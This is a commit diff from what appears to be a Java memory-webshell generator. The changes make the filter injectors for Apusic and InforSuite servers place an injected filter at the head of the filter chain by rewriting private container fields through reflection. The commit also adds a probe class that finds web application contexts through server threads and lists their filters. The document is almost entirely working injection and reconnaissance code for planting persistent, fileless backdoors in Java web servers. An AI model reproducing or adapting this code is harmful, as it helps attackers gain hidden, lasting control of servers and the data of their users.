Skip to content

Commit 8c04c9d

Browse files
committed
feat: support addFilterFirst for Apusic/InforSuite
1 parent 307a454 commit 8c04c9d

File tree

7 files changed

+597
-28
lines changed

7 files changed

+597
-28
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
import java.lang.reflect.Field;
99
import java.lang.reflect.Method;
1010
import java.util.HashSet;
11+
import java.util.LinkedHashSet;
1112
import java.util.Map;
1213
import java.util.Set;
1314
import java.util.zip.GZIPInputStream;
@@ -145,7 +146,12 @@ public void inject(Object context, Object filter) throws Exception {
145146
Object filterMapping = filterMappingClass.newInstance();
146147
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
147148
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
148-
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
149+
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
150+
LinkedHashSet newSet = new LinkedHashSet();
151+
newSet.add(filterMapping);
152+
newSet.addAll(beforeFilterMappings);
153+
beforeFilterMappings.clear();
154+
beforeFilterMappings.addAll(newSet);
149155

150156
// addFilterModel
151157
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});

generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java

Lines changed: 37 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -4,11 +4,11 @@
44
import java.io.ByteArrayOutputStream;
55
import java.io.IOException;
66
import java.io.PrintStream;
7+
import java.lang.reflect.Array;
78
import java.lang.reflect.Constructor;
89
import java.lang.reflect.Field;
910
import java.lang.reflect.Method;
1011
import java.util.*;
11-
import java.util.logging.Logger;
1212
import java.util.zip.GZIPInputStream;
1313

1414
/**
@@ -128,17 +128,28 @@ public void inject(Object context, Object filter) throws Exception {
128128
}
129129
ClassLoader contextClassLoader = context.getClass().getClassLoader();
130130
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
131-
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
131+
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
132+
Object filterMap = filterMapClass.newInstance();
132133
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
133134
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
134135
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
135136
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
136137
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
137138

139+
// addFilterMapFirst
138140
try {
139-
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
141+
Object filterMaps = getFieldValue(context, "filterMaps");
142+
if (filterMaps instanceof List) {
143+
// InforSuite9
144+
((List<Object>) filterMaps).add(0, filterMap);
145+
}
140146
} catch (Exception e) {
141-
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
147+
// InforSuite10
148+
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
149+
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
150+
results[0] = filterMap;
151+
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
152+
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
142153
}
143154

144155
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
@@ -192,25 +203,32 @@ public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
192203
}
193204

194205
@SuppressWarnings("all")
195-
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
196-
Field field = getField(obj, fieldName);
206+
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
207+
for (Class<?> clazz = obj.getClass();
208+
clazz != Object.class;
209+
clazz = clazz.getSuperclass()) {
210+
try {
211+
return clazz.getDeclaredField(name);
212+
} catch (NoSuchFieldException ignored) {
213+
214+
}
215+
}
216+
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
217+
}
218+
219+
220+
@SuppressWarnings("all")
221+
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
222+
Field field = getField(obj, name);
197223
field.setAccessible(true);
198224
return field.get(obj);
199225
}
200226

201-
@SuppressWarnings("all")
202-
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
203-
Class<?> clazz = obj.getClass();
204-
while (clazz != null) {
205-
try {
206-
Field field = clazz.getDeclaredField(fieldName);
207-
field.setAccessible(true);
208-
return field;
209-
} catch (NoSuchFieldException e) {
210-
clazz = clazz.getSuperclass();
211-
}
212-
}
213-
throw new NoSuchFieldException(fieldName);
227+
228+
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
229+
Field field = getField(obj, fieldName);
230+
field.setAccessible(true);
231+
field.set(obj, value);
214232
}
215233

216234
@SuppressWarnings("all")
Lines changed: 216 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,216 @@
1+
package com.reajason.javaweb.probe.payload.filter;
2+
3+
import java.io.ByteArrayOutputStream;
4+
import java.io.PrintStream;
5+
import java.lang.reflect.Field;
6+
import java.lang.reflect.Method;
7+
import java.util.*;
8+
9+
/**
10+
* @author ReaJason
11+
*/
12+
public class ApusicFilterProbe {
13+
14+
@Override
15+
public String toString() {
16+
String msg = "";
17+
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
18+
Set<Object> contexts = null;
19+
try {
20+
contexts = getContext();
21+
} catch (Throwable throwable) {
22+
msg += "context error: " + getErrorMessage(throwable);
23+
}
24+
if (contexts == null || contexts.isEmpty()) {
25+
msg += "context not found\n";
26+
} else {
27+
for (Object context : contexts) {
28+
String contextRoot = getContextRoot(context);
29+
List<Map<String, String>> filters = collectFiltersData(context);
30+
allFiltersData.put(contextRoot, filters);
31+
}
32+
msg += formatFiltersData(allFiltersData);
33+
}
34+
return msg;
35+
}
36+
37+
@SuppressWarnings("all")
38+
private List<Map<String, String>> collectFiltersData(Object context) {
39+
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
40+
41+
try {
42+
Object webModule = getFieldValue(context, "webapp");
43+
if (webModule == null) {
44+
return Collections.emptyList();
45+
}
46+
47+
Object[] filterMappings = (Object[]) invokeMethod(webModule, "getAllFilterMappings");
48+
if (filterMappings == null || filterMappings.length == 0) {
49+
return Collections.emptyList();
50+
}
51+
52+
Object[] filters = (Object[]) invokeMethod(webModule, "getFilterList");
53+
Map<String, String> filterClassMap = new HashMap<>();
54+
if (filters != null) {
55+
for (Object filter : filters) {
56+
String name = (String) invokeMethod(filter, "getName");
57+
String className = (String) invokeMethod(filter, "getFilterClass");
58+
if (name != null && className != null) {
59+
filterClassMap.put(name, className);
60+
}
61+
}
62+
}
63+
64+
for (Object fm : filterMappings) {
65+
String name = (String) invokeMethod(fm, "getFilterName");
66+
if (name == null) {
67+
continue;
68+
}
69+
if (!aggregatedData.containsKey(name)) {
70+
Map<String, Object> info = new HashMap<>();
71+
info.put("filterName", name);
72+
info.put("filterClass", filterClassMap.getOrDefault(name, "N/A"));
73+
info.put("urlPatterns", new LinkedHashSet<String>());
74+
aggregatedData.put(name, info);
75+
}
76+
Map<String, Object> info = aggregatedData.get(name);
77+
String urlPattern = (String) invokeMethod(fm, "getUrlPattern");
78+
if (urlPattern != null) {
79+
((Set<String>) info.get("urlPatterns")).add(urlPattern);
80+
}
81+
}
82+
} catch (Exception ignored) {
83+
}
84+
85+
List<Map<String, String>> result = new ArrayList<>();
86+
for (Map<String, Object> entry : aggregatedData.values()) {
87+
Map<String, String> finalInfo = new HashMap<>();
88+
finalInfo.put("filterName", (String) entry.get("filterName"));
89+
finalInfo.put("filterClass", (String) entry.get("filterClass"));
90+
Set<?> urls = (Set<?>) entry.get("urlPatterns");
91+
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
92+
result.add(finalInfo);
93+
}
94+
return result;
95+
}
96+
97+
@SuppressWarnings("all")
98+
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
99+
StringBuilder output = new StringBuilder();
100+
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
101+
String context = entry.getKey();
102+
List<Map<String, String>> filters = entry.getValue();
103+
output.append("Context: ").append(context).append("\n");
104+
if (filters.isEmpty()) {
105+
output.append("No filters found\n");
106+
} else {
107+
for (Map<String, String> info : filters) {
108+
appendIfPresent(output, "", info.get("filterName"), "");
109+
appendIfPresent(output, " -> ", info.get("filterClass"), "");
110+
appendIfPresent(output, " -> URL:", info.get("urlPatterns"), "");
111+
output.append("\n");
112+
}
113+
}
114+
}
115+
return output.toString();
116+
}
117+
118+
private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) {
119+
if (value != null && !value.isEmpty()) {
120+
sb.append(prefix).append(value).append(suffix);
121+
}
122+
}
123+
124+
@SuppressWarnings("all")
125+
private String getContextRoot(Object context) {
126+
String r = null;
127+
try {
128+
r = (String) invokeMethod(context, "getContextPath");
129+
} catch (Exception ignored) {
130+
}
131+
String c = context.getClass().getName();
132+
if (r == null) {
133+
return c;
134+
}
135+
if (r.isEmpty()) {
136+
return c + "(/)";
137+
}
138+
return c + "(" + r + ")";
139+
}
140+
141+
/**
142+
* context: com.apusic.web.container.WebContainer
143+
* context - webapp: com.apusic.deploy.runtime.WebModule
144+
* /usr/local/ass/lib/apusic.jar
145+
*/
146+
public Set<Object> getContext() throws Exception {
147+
Set<Object> contexts = new HashSet<Object>();
148+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
149+
for (Thread thread : threads) {
150+
if (thread.getName().contains("HouseKeeper")) {
151+
// Apusic 9.0 SPX
152+
Object sessionManager = getFieldValue(thread, "this$0");
153+
contexts.add(getFieldValue(sessionManager, "container"));
154+
} else if (thread.getName().contains("HTTPSession")) {
155+
// Apusic 9.0.1
156+
Object sessionManager = getFieldValue(thread, "this$0");
157+
Map<?, ?> contextMap = ((Map<?, ?>) getFieldValue(getFieldValue(sessionManager, "vhost"), "contexts"));
158+
contexts.addAll(contextMap.values());
159+
}
160+
}
161+
return contexts;
162+
}
163+
164+
@SuppressWarnings("all")
165+
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
166+
Class<?> clazz = obj.getClass();
167+
while (clazz != null) {
168+
try {
169+
Field field = clazz.getDeclaredField(fieldName);
170+
field.setAccessible(true);
171+
return field.get(obj);
172+
} catch (NoSuchFieldException e) {
173+
clazz = clazz.getSuperclass();
174+
}
175+
}
176+
throw new NoSuchFieldException(fieldName + " for " + obj.getClass().getName());
177+
}
178+
179+
@SuppressWarnings("all")
180+
public static Object invokeMethod(Object obj, String methodName) {
181+
try {
182+
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
183+
Method method = null;
184+
while (clazz != null && method == null) {
185+
try {
186+
method = clazz.getDeclaredMethod(methodName);
187+
} catch (NoSuchMethodException e) {
188+
clazz = clazz.getSuperclass();
189+
}
190+
}
191+
if (method == null) {
192+
throw new NoSuchMethodException("Method not found: " + methodName);
193+
}
194+
195+
method.setAccessible(true);
196+
return method.invoke(obj instanceof Class ? null : obj);
197+
} catch (Exception e) {
198+
throw new RuntimeException("Error invoking method: " + methodName, e);
199+
}
200+
}
201+
202+
@SuppressWarnings("all")
203+
private String getErrorMessage(Throwable throwable) {
204+
PrintStream printStream = null;
205+
try {
206+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
207+
printStream = new PrintStream(outputStream);
208+
throwable.printStackTrace(printStream);
209+
return outputStream.toString();
210+
} finally {
211+
if (printStream != null) {
212+
printStream.close();
213+
}
214+
}
215+
}
216+
}

generator/src/main/java/com/reajason/javaweb/probe/payload/filter/GlassFishFilterProbe.java

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -41,8 +41,6 @@ private List<Map<String, String>> collectFiltersData(Object context) {
4141
if (filterMaps == null || filterMaps.isEmpty()) return Collections.emptyList();
4242

4343
Object[] filterDefs = (Object[]) invokeMethod(context, "findFilterDefs");
44-
Map<?, ?> filterConfigs = (Map<?, ?>) getFieldValue(context, "filterConfigs");
45-
4644
for (Object fm : filterMaps) {
4745
String name = (String) invokeMethod(fm, "getFilterName");
4846
if (name == null) continue;
@@ -52,8 +50,8 @@ private List<Map<String, String>> collectFiltersData(Object context) {
5250
for (Object def : filterDefs) {
5351
if (!name.equals(invokeMethod(def, "getFilterName"))) continue;
5452
Class<?> cls = (Class<?>) invokeMethod(def, "getFilterClass");
55-
if (cls == null && filterConfigs != null) {
56-
Object config = filterConfigs.get(name);
53+
if (cls == null) {
54+
Object config = invokeMethod(context, "findFilterConfig", new Class[]{String.class}, new Object[]{name});
5755
Object filter = config != null ? invokeMethod(config, "getFilter") : null;
5856
if (filter != null) filterClass = filter.getClass().getName();
5957
}
@@ -74,7 +72,7 @@ private List<Map<String, String>> collectFiltersData(Object context) {
7472
urls = (String[]) invokeMethod(fm, "getURLPatterns");
7573
} catch (Exception e) {
7674
try {
77-
Object urlPattern = getFieldValue(fm, "urlPattern");
75+
Object urlPattern = invokeMethod(fm, "getURLPattern");
7876
if (urlPattern instanceof String) {
7977
urls = new String[] { (String) urlPattern };
8078
}
@@ -171,10 +169,12 @@ public Set<Object> getContext() throws Exception {
171169
return contexts;
172170
}
173171

174-
@SuppressWarnings("all")
175172
public static Object invokeMethod(Object obj, String methodName) {
176-
Class<?>[] paramClazz = null;
177-
Object[] param = null;
173+
return invokeMethod(obj, methodName, null, null);
174+
}
175+
176+
@SuppressWarnings("all")
177+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
178178
try {
179179
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
180180
Method method = null;

0 commit comments

Comments
 (0)